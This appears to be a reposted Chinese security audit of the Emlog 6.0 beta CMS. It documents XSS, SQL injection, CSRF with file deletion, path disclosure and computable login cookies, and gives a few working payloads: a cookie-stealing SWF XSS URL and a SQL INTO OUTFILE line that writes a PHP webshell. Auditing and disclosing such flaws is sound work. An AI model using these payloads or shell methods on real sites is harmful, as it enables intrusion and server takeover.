對Emlog 6.0 Beta的完整代碼審計過程

Emlog 6.0 beta版本,這可能是最后一篇關于PHP語言CMS的代碼審計文章,此次將詳細記錄完整的審計過程。

文章基本上完整記錄小東的對此CMS審計過程,或許顯得繁瑣,但代碼審計的過程就是這樣,發現可能項,然后精心構造去驗證,這過程中我們會遇到很多次碰壁,堅持測試,思維活躍一些,基本都會有所收獲,誠摯希望后來者能夠耐心閱讀下去,當然最好也能夠有所啟發。

大家需要注意的一點是,代碼審計是為了學習并在SDL中避免發生類似的錯誤,同時也是幫助開源系統修復相關問題,并不是去為了獲得什么0day~

0×00 Emlog 6.0 beta

EMLOG 6.0

官網地址:https://www.emlog.net/

Emlog 6.0 beta下載地址:https://www.emlog.net/download

由于官方限制論壇會員(注冊付費)才可下載,這里提供一個原版下載地址:https://www.lanzous.com/i1l5gad

文件校驗:

文件: C:\Users\stdy\Desktop\emlog_6.0.0.zip 大小: 607725 字節 修改時間: 2018年8月6日, 20:53:50 MD5: 7844FE6FEAE7AF68052DC878B8811FAC SHA1: E06A050D2A0AA879DB9F5CFCAA4703B6AC7B8352 CRC32: 4963E489 

博主的博客就是基于此套博客系統,其實很多圈內大佬都在使用,對于本款CMS的審計文章卻并沒有,小東就來以此CMS作為PHP代碼審計的封筆之作。

0×01 初步測試

首先,我們得先安裝!安裝成功后的首頁界面:

安裝成功

默認后臺登陸地址:./admin/

登陸成功后:

后臺界面

閑話一句,感覺6.05.3.1版本好看太多了~

安裝過后,我們應該盡可能全面搜集關于此CMS的信息,這對于我們審計代碼有很大的幫助。

所以,分析得到此CMS的大致結構,Emlog是一個?MVC?的設計模式,大致的結構如圖:

emlog結構

因此我們主要會分析?admin?和?include?文件夾下的文件。

數據庫表:

DATABASE

在根目錄的init.php?文件中

報錯等級

報錯等級指定為7

<?php
//禁用錯誤報告
error_reporting(0);//報告運行時錯誤 error_reporting(E_ERROR | E_WARNING | E_PARSE); //報告所有錯誤 error_reporting(E_ALL); error_reporting(7); /* 設置php錯誤檢測級別 E_ERROR - 致命性運行時錯 (1) E_WARNING - 運行時警告(非致命性錯)(2) E_PARSE - 編譯時解析錯誤 (4) 1+2+4 = 7 */ ?>

0×02 使用漏洞掃描器

可能有朋友就會說你為什么要使用“漏掃”吶?不是代碼審計嗎?

這里要糾正一下這個觀點,漏掃其實就是一個自動化黑盒測試,在本地環境下,我們不會影響任何的業務。

通過漏掃出的漏洞能夠方便我們快速定位漏洞位置,這樣是一種高效的方式,這也是在團隊里的成員通過漏掃Get了百度的幾個高危漏洞給小東的啟示。

這里使用了一款重型掃描器?AWVS?,得到的報告如下:

結果

不過在本地掃描時,使用的是?XAMPP?windows10?PHP5.6的環境,所以導致漏洞報告中很多誤報,漏掃主要掃描出了幾個XSS漏洞CSRF漏洞

所以我們首先驗證這兩類的漏洞

0×03 文章編輯器儲存性XSS

在后臺的編輯器處,編輯文章./admin/admin_log.php

編輯器XSS

成功發布后,來到首頁

emlogXSS

進入文章頁后

文章頁XSS

都彈窗了,這里大家可能要說沒法兒利用,但是emlog設計了?會員/作者?功能,在emlog中的某些模版中可以前臺注冊會員,會員登錄后可以編輯發表文章,評論等等功能。Emlog官方還提供了文章投稿插件,都是調用了官方默認的Kindeditor編輯器,這個編輯器自帶HTML編輯模式,就算不帶這個模式,攻擊者也可以抓包修改達到攻擊目的。

為什么前臺沒過濾吶?為了文章有支持HTML代碼輸出,所以對于kindeditor的保存輸出內容并沒有轉義。

emlog會員/投稿

修復建議:參考其他CMS做好文章內容關鍵詞的檢測,并做好過濾或者轉義

0×04 Uploadify SWF XSS

Emlog使用了?uploadify.swf?的方式上傳文件,文件路徑?/include/lib/js/uploadify/uploadify.swf

構造Payload:http://www.test.com//include/lib/js/uploadify/uploadify.swf?uploadifyID=00%22%29%29;}catch%28e%29{alert%281%29;}//%28%22&movieName=%22])}catch(e){if(!window.x){window.x=1;alert(document.cookie)}}//&.swf

效果,可無視瀏覽器filter

SWF XSS

0×05 反射型XSS

此處的XSS主要發生在cookie上,因為某些頁面如?admin/admin_log,admin/sort.php,admin/link.php頁面需要在表單中添加了hidden屬性的token值,而這個token值直接從用戶的cookie中取得,導致了一個反射型XSS

攔截抓包修改cookie中的token值如下:

payload

效果:

COOKIE XSS

其次驗證了?CSRF?漏洞,這個是前臺的搜索框的CSRF根本沒什么價值

然后是管理員添加友情鏈接的XSS,經過驗證并不存在,后臺函數會限制字數


然后就是我們開始進行原始的代碼審計工作了,主要借用了Seay代碼審計工具Rips,這種審計工具主要依靠正則匹配可能導致危險的php函數來作為可能存在漏洞的判斷,半自動化的方式,在一定程度上緩解了代碼審計的壓力。

0×06 基本函數

首先看了一下文件操作相關的函數,發現經常用到?View::getView?這一方法,

include/lib/view.php?文件中,源碼如下:

<?php
/*** 視圖控制* @copyright (c) Emlog All Rights Reserved*/class View { public static function getView($template, $ext = '.php') { if (!is_dir(TEMPLATE_PATH)) { emMsg('當前使用的模板已被刪除或損壞,請登錄后臺更換其他模板。', BLOG_URL . 'admin/template.php'); } return TEMPLATE_PATH . $template . $ext; } public static function output() { $content = ob_get_clean(); ob_start(); echo $content; ob_end_flush(); exit; } } 

同時作為權限控制的?LoginAuth::checkToken(),在?\include\lib\loginauth.php下約209行開始

/**
* 生成token,防御CSRF攻擊
*/
public static function genToken() { $token_cookie_name = 'EM_TOKENCOOKIE_' . md5(substr(AUTH_KEY, 16, 32) . UID); if (isset($_COOKIE[$token_cookie_name])) { return $_COOKIE[$token_cookie_name]; } else { $token = md5(getRandStr(16)); setcookie($token_cookie_name, $token, 0, '/'); return $token; } } /** * 檢查token,防御CSRF攻擊 */ public static function checkToken(){ $token = isset($_REQUEST['token']) ? addslashes($_REQUEST['token']) : ''; if ($token != self::genToken()) { emMsg('權限不足,token error'); } } 

驗證了Rips掃描出的文件包含問題(第一次使用Rips),發現無法復現,因為Rips掃描的時候是以文件形式,并沒有參照程序的嚴格邏輯,導致的誤報!

來到?\admin\admin_log.php?文件,從第78行開始:

//操作文章
if ($action == 'operate_log') {$operate = isset($_REQUEST['operate']) ? $_REQUEST['operate'] : ''; $pid = isset($_POST['pid']) ? $_POST['pid'] : ''; $logs = isset($_POST['blog']) ? array_map('intval', $_POST['blog']) : array(); $sort = isset($_POST['sort']) ? intval($_POST['sort']) : ''; $author = isset($_POST['author']) ? intval($_POST['author']) : ''; $gid = isset($_GET['gid']) ? intval($_GET['gid']) : ''; LoginAuth::checkToken(); if ($operate == '') { emDirect("./admin_log.php?pid=$pid&error_b=1"); } if (empty($logs) && empty($gid)) { emDirect("./admin_log.php?pid=$pid&error_a=1"); } switch ($operate) { case 'del': foreach ($logs as $val) { doAction('before_del_log', $val); $Log_Model->deleteLog($val); doAction('del_log', $val); } $CACHE->updateCache(); if ($pid == 'draft') { emDirect("./admin_log.php?pid=draft&active_del=1"); } else{ emDirect("./admin_log.php?active_del=1"); } break; case 'top': foreach ($logs as $val) { $Log_Model->updateLog(array('top'=>'y'), $val); } emDirect("./admin_log.php?active_up=1"); break; case 'sortop': foreach ($logs as $val) { $Log_Model->updateLog(array('sortop'=>'y'), $val); } emDirect("./admin_log.php?active_up=1"); break; case 'notop': foreach ($logs as $val) { $Log_Model->updateLog(array('top'=>'n', 'sortop'=>'n'), $val); } emDirect("./admin_log.php?active_down=1"); break; case 'hide': foreach ($logs as $val) { $Log_Model->hideSwitch($val, 'y'); } $CACHE->updateCache(); emDirect("./admin_log.php?active_hide=1"); break; ...//中間的代碼要驗證管理身份,故省略 case 'uncheck': if (ROLE != ROLE_ADMIN) { emMsg('權限不足!','./'); } $Log_Model->checkSwitch($gid, 'n'); $CACHE->updateCache(); emDirect("./admin_log.php?active_unck=1"); break; } } 

那么我們嘗試越權刪除文章?http://www.test.com/admin/admin_log.php?action=operate_log&operate=del&blog=29&token=994132a26661c8c244a91063c4701a7e?失敗了提示權限不足,來到\include\model\log_model.php?發現

/*** 刪除文章** @param int $blogId*/
function deleteLog($blogId) { $author = ROLE == ROLE_ADMIN ? '' : 'and author=' . UID; $this->db->query("DELETE FROM " . DB_PREFIX . "blog where gid=$blogId $author"); //這里和上一句限制了作者只能刪除自己的文章 if ($this->db->affected_rows() < 1) { emMsg('權限不足!', './'); } // 評論 $this->db->query("DELETE FROM " . DB_PREFIX . "comment where gid=$blogId"); // 標簽 $this->db->query("UPDATE " . DB_PREFIX . "tag SET gid= REPLACE(gid,',$blogId,',',') WHERE gid LIKE '%" . $blogId . "%' "); $this->db->query("DELETE FROM " . DB_PREFIX . "tag WHERE gid=',' "); // 附件 $query = $this->db->query("select filepath from " . DB_PREFIX . "attachment where blogid=$blogId "); while ($attach = $this->db->fetch_array($query)) { if (file_exists($attach['filepath'])) { $fpath = str_replace('thum-', '', $attach['filepath']); if ($fpath != $attach['filepath']) { @unlink($fpath); } @unlink($attach['filepath']); } } $this->db->query("DELETE FROM " . DB_PREFIX . "attachment where blogid=$blogId"); } 

這個越權漏洞不存在,同時看了下面的函數判斷也是做了類似的處理

到這里其實我們對于整個?CMS?的架構已經較為熟悉了,基本能根據對應函數功能,直接手動找到對應的函數位置。

令人傷心的是,通過?Rips?代碼審計工具得到的結果,一個都沒復現成功…

###0×07 Seay輔助審計

相信很多人都知道法師的這款工具,主要還是因為中文,用著方便,但是完全依靠正則的方式去匹配函數,只能發現那些函數直接的控制漏洞,邏輯漏洞有時候可以根據逆推可以發現,但這種情況很少。

使用這款工具掃描出來共120個可能的情況(根據經驗98%以上都是沒法復現的),然后一個個排查,有的例如SQL語句反單引號這樣的,很容易就可以判斷給忽律,就不需要考慮。

在?/admin/store.php?看到這樣一串代碼:

store.php

這里我的思考是,如果在emlog官網有URL跳轉鏈接的話,那么就可以構造下載遠程任意的文件到網站,但是測試了官網沒有跳轉鏈接,那么我們嘗試下載別的插件(鏈接跳轉等),或者有黑客精心構造了一個插件或者模版,然后再利用,這也算是一個可行的方案。

此處需要管理員權限,作為代碼審計的一個參考思路,不是要發現什么0day,而是希望大家能夠在代碼審計方面有所收獲。

(1). SQL注入

對于SQL注入Seay工具一直都沒準過,這里小東推薦方式,使用全局搜索?$_GET[?或?$_PSOT[,然后看看是否代入了SQL查詢,然后一一驗證。

然后我發現了這樣一個沒有過濾IP參數

IP參數

然后到?admin/comment.php?中查看

comment.php

再看?delCommentByIp($ip)?函數

IP參數sql

由此我們可以確定了SQL注入的存在

驗證如下:

SQL注入

(2).一個CSRF+任意文件刪除

$_GET[]型分析完以后,就尋找$_POST[]的,然后在admin/data.php文件中找到了如下代碼

data.php

這里我們發現,并沒有驗證toknen,那么可以構造csrf頁面,這里小東就不演示了,直接BURP驗證一下任意文件刪除吧,關于CSRF,只要沒有調用上面基礎函數部分說到的?LoginAuth::checkToken()?方法的,都存在CSRF

CSRF+任意刪除

這里就成功刪除了文件

(3).TAG SQL注入

在POST參數中發現此處并沒有過濾,同時在?deleteTag()?函數中,代入了SQL查詢,因此又是一個SQL注入

tag sql

但是此處并沒有回顯。可以采用時間盲注的方式

至此,利用工具的半自動化審計已經結束,下面準備手工測試

0×08 手工測試

手工測試也不是單純的翻文件,應當以灰盒測試為主導,從邏輯權限敏感信息等方面入手

(1).后臺登陸存在暴力破解風險

在這里,我之前提到過的驗證碼未及時銷毀的歷史問題還存在,此處不再詳細敘述,請參考https://blog.csdn.net/dyboy2017/article/details/78433748

(2).報錯信息導致物理路徑泄漏

大家不要以為這是小事情,當sql注入存在的時候,我們有機會是可以直接寫shell文件,安全無小事

一個低權限的方式,在游客的條件下測試一下

物理路徑

payload:http://www.test.com/admin/attachment.php?action[]=

原因是:addslashes() expects parameter 1

(3).Cookie可計算

include/lib/loginauth.php134行開始

/*** 寫用于登錄驗證cookie** @param int $user_id User ID* @param bool $remember Whether to remember the user or not*/
public static function setAuthCookie($user_login, $ispersis = false) { if ($ispersis) { $expiration = time() + 3600 * 24 * 30 * 12; } else { $expiration = null; } $auth_cookie_name = AUTH_COOKIE_NAME; $auth_cookie = self::generateAuthCookie($user_login, $expiration); setcookie($auth_cookie_name, $auth_cookie, $expiration,'/'); } /** * 生成登錄驗證cookie * * @param int $user_id user login * @param int $expiration Cookie expiration in seconds * @return string Authentication cookie contents */ private static function generateAuthCookie($user_login, $expiration) { $key = self::emHash($user_login . '|' . $expiration); $hash = hash_hmac('md5', $user_login . '|' . $expiration, $key); $cookie = $user_login . '|' . $expiration . '|' . $hash; return $cookie; } 

可以看到此處的cookie都可以直接計算得到,只需要知道根目錄下config.php中的

//auth key
define('AUTH_KEY','dx1&CH^En86GZnxd9CLO7GwC0Q5eYHKM450f598bbd148b6a62f7d263623e31c3');
//cookie name
define('AUTH_COOKIE_NAME','EM_AUTHCOOKIE_VzfVniPWDqd1LM3BFocnrcjpAGH4lUbz'); 

即可。

(4).側邊欄存儲性XSS

為了同樣是為了支持HTML代碼的輸出,沒有轉義對應的腳本代碼標簽,導致了存儲性的XSS存在

側邊欄XSS

0×09 Getshell

(1).SQL注入拿到shell

如上所講有SQL注入的存在,同時可以獲取到物理路徑,那么就可以直接寫Shell

(2).后臺插件上傳zip

因為后臺可以直接上傳本地zip文件,這里我們去官網下載一個插件,同時把我們的shell文件(比如dyboy.php)加入zip,上傳安裝這個插件就可以了,然后shell地址為:http://www.test.com/content/plugins/插件名/dyboy.php

(3).后臺模版上傳zip

和插件同樣的原理,這里的shell地址為:http://www.test.com/content/templates/模版名/dyboy.php

(4).備份文件拿shell

后臺的數據功能處,先備份一個,然后下載到本地,加入SELECT "<?php @assert($_POST['dyboy'])?>" into outfile 'D:\\Server\\htdocs\\safe\\dyboy.php';

然后導入備份恢復本地數據即可

這樣就在網站個目錄生成了一個dyboy.phpshell

0×10 總結

EMLOG是一個非常小巧輕快的博客系統,運行占用資源非常低,所以非常適合博主用作博客用途,其實只要不開啟會員功能,沒有弱口令就沒有什么大的威脅。以此文章作為PHP代碼審計的終稿,文章所述方法同樣適用于其他的CMS代碼審計和分析,創作不易,也希望本文章能對大家能有所啟示。

轉載于:https://www.cnblogs.com/h2zZhou/p/9466373.html

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/279627.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/279627.shtml
英文地址,請注明出處:http://en.pswp.cn/news/279627.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

SINOCES 2011

突然發現又好久沒寫過日志了 是在是太懶了… 難得休假去看了眼消費電子 感覺實在是一年不如一年 佳能、索尼不見蹤影&#xff0c;相機滿場沒見一家&#xff08;大牌子是真沒見到&#xff09; 華碩技嘉微星等主板廠商同樣失蹤… PC方面&#xff0c;聯想貌似是來賣電腦包鼠標的&a…

esim卡與ms卡的區別_什么是eSIM,它與SIM卡有何不同?

esim卡與ms卡的區別With the launch of the Apple Watch 3, the term “eSIM” has been thrown around a lot. And now, Google’s Pixel 2 is the first phone to use this new technology, it’s time we take a closer look at what it is, what it does, and what this me…

機器學習實戰之logistic回歸分類

利用logistic回歸進行分類的主要思想&#xff1a;根據現有數據對分類邊界建立回歸公式&#xff0c;并以此進行分類。 logistic優缺點&#xff1a; 優點&#xff1a;計算代價不高&#xff0c;易于理解和實現。缺點&#xff1a;容易欠擬合&#xff0c;分類精度可能不高。 .適用數…

HDU 6343.Problem L. Graph Theory Homework-數學 (2018 Multi-University Training Contest 4 1012)

6343.Problem L. Graph Theory Homework 官方題解: 一篇寫的很好的博客: HDU 6343 - Problem L. Graph Theory Homework - [(偽裝成圖論題的)簡單數學題] 代碼: 1 //1012-6343-數學2 #include<iostream>3 #include<cstdio>4 #include<cstring>5 #include<…

Android GridView LruCache

照片墻這種功能現在應該算是挺常見了&#xff0c;在很多應用中你都可以經常看到照片墻的身影。它的設計思路其實也非常簡單&#xff0c;用一個GridView控件當作“墻”&#xff0c;然后隨著GridView的滾動將一張張照片貼在“墻”上&#xff0c;這些照片可以是手機本地中存儲的&a…

如何在Android TV上自定義推薦行

When you fire up Android TV, the first thing you see is a list of movies and shows the system thinks you’ll like. It’s often full of the latest flicks or hottest news, but sometimes it could just be things relevant to your interests and the apps you have…

遞歸 段錯誤 習題

段錯誤 遞歸里面算階乘 f(10000000)沒有輸出&#xff0c;使用gdb 顯示 SIGSEGV--段錯誤編譯后產生的可執行文件里面保存著什么&#xff1f;UNIX/Linux 用 ELFDOS下用COFFWindows用PE&#xff08;COFF擴充而得&#xff09;段&#xff08;segmentation&#xff09;二進制文件內的…

你知道你常用的dos和linux命令嗎?

功能 Linux MS-DOS 進入到該目錄 cd cd 列舉文件 ls dir 創建目錄 mkdir mkdir 清除屏幕 clear cls 復制文件 cp copy 移動文件 mv move 刪除文件 rm del 查看文件 less more 文件重命名 mv ren 比較文件內容 diff fc 查看當前路徑 pwd chd…

steam串流到手機_如何從手機將Steam游戲下載到PC

steam串流到手機Steam allows you to remotely install games from your smartphone, just like you can with a PlayStation 4 or Xbox One. You can download games to your gaming PC from anywhere, ensuring those big downloads are complete and the game is ready to p…

編寫安裝配置ftp-samba服務腳本

本腳本實例的要求如下&#xff1a; 1、公司有公共共享目錄public,所有員工均可讀寫&#xff0c;但不允許刪除其他員工的文件;不能匿名登錄 2、每部門均有共享目錄&#xff0c;部門經理可讀寫&#xff0c;部門員工可讀&#xff1b; 非本部門員工不能訪問&#xff08;caiwu、rens…

利用java實現excel轉pdf文件

在有些需求當中我們需要抓取字段并且填充到excel表格里面&#xff0c;最后將excel表格轉換成pdf格式進行輸出&#xff0c;我第一次接觸這個需求時&#xff0c;碰到幾個比較棘手的問題&#xff0c;現在一一列出并且提供解決方案。 1&#xff1a;excel轉pdf出現亂碼&#xff1a; …

Jmeter HTTP請求后響應數據顯示亂碼解決方法

Jmeter請求后結果樹里無論是text還是html響應數據顯示亂碼&#xff0c;這是因為jmeter 編碼格式配置文件默認不開啟導致的&#xff0c;解決方法如下&#xff1a; 1&#xff09;進入jmeter-***\bin目錄下&#xff0c;找到jmeter.properties文件&#xff0c;以文本文件形式打開 2…

禁用windows10更新_如何在Windows 10中禁用投影

禁用windows10更新The drop shadows on applications in the Windows 10 preview are really big and suspiciously similar to the ones in OS X, and if they aren’t your speed, you can easily remove them. We actually think they look good, but since somebody out th…

如何訪問 Service?- 每天5分鐘玩轉 Docker 容器技術(99)

前面我們已經學習了如何部署 service&#xff0c;也驗證了 swarm 的 failover 特性。不過截止到現在&#xff0c;有一個重要問題還沒有涉及&#xff1a;如何訪問 service&#xff1f;這就是本節要討論的問題。 為了便于分析&#xff0c;我們重新部署 web_server。 ① docker se…

sqlyog下載

sqlyog下載&#xff08;附注冊碼&#xff09;&#xff1a;http://www.onlinedown.net/soft/24926.htm轉載于:https://www.cnblogs.com/shujuxiong/p/9474496.html

Linux配置手冊(二)配置DHCP服務器

1.檢查是否安裝DHCP服務器軟件 2.掛在RHEL5系統光盤 3.安裝DHCP服務軟件 4.將模板配置文件復制并覆蓋現在的配置文件 5.配置修改dhcpd.conf文件 配置信息 默認租約時間 default-lease-time 最大租約時間 max-lease-time 局域網內所有主機的域名 option domain-name 客戶機所使用…

什么是Google Play保護以及如何確保Android安全?

Android is open, flexible, and all about choice. Unfortunately, that flexibility comes more potential security issues. The good news is that Google has a system in place named Play Protect that helps keep Android secure. Android開放&#xff0c;靈活且具有多…

如何使計算機為您讀取文檔

Since the beginning of the computer age, people have always enjoyed making computers talk to them. These days, that functionality is built right into Windows and you can easily use it to have your PC read documents to you. 自計算機時代開始以來&#xff0c;人…

面試中常問的List去重問題,你都答對了嗎?

2019獨角獸企業重金招聘Python工程師標準>>> 面試中經常被問到的list如何去重&#xff0c;用來考察你對list數據結構&#xff0c;以及相關方法的掌握&#xff0c;體現你的java基礎學的是否牢固。 我們大家都知道&#xff0c;set集合的特點就是沒有重復的元素。如果集…

Coolite Toolkit學習筆記五:常用控件Menu和MenuPanel

Coolite Toolkit里的Menu控件和其他的.NET Web控件不一樣&#xff0c;如果只是設計好了Menu或是通過程序初始化菜單項&#xff0c;菜單是不會呈現在界面上的&#xff0c;因為Coolite Toolkit規定Menu控件需要一個容器來做依托&#xff0c;而這個讓Menu依托的控件就是MenuPanel&…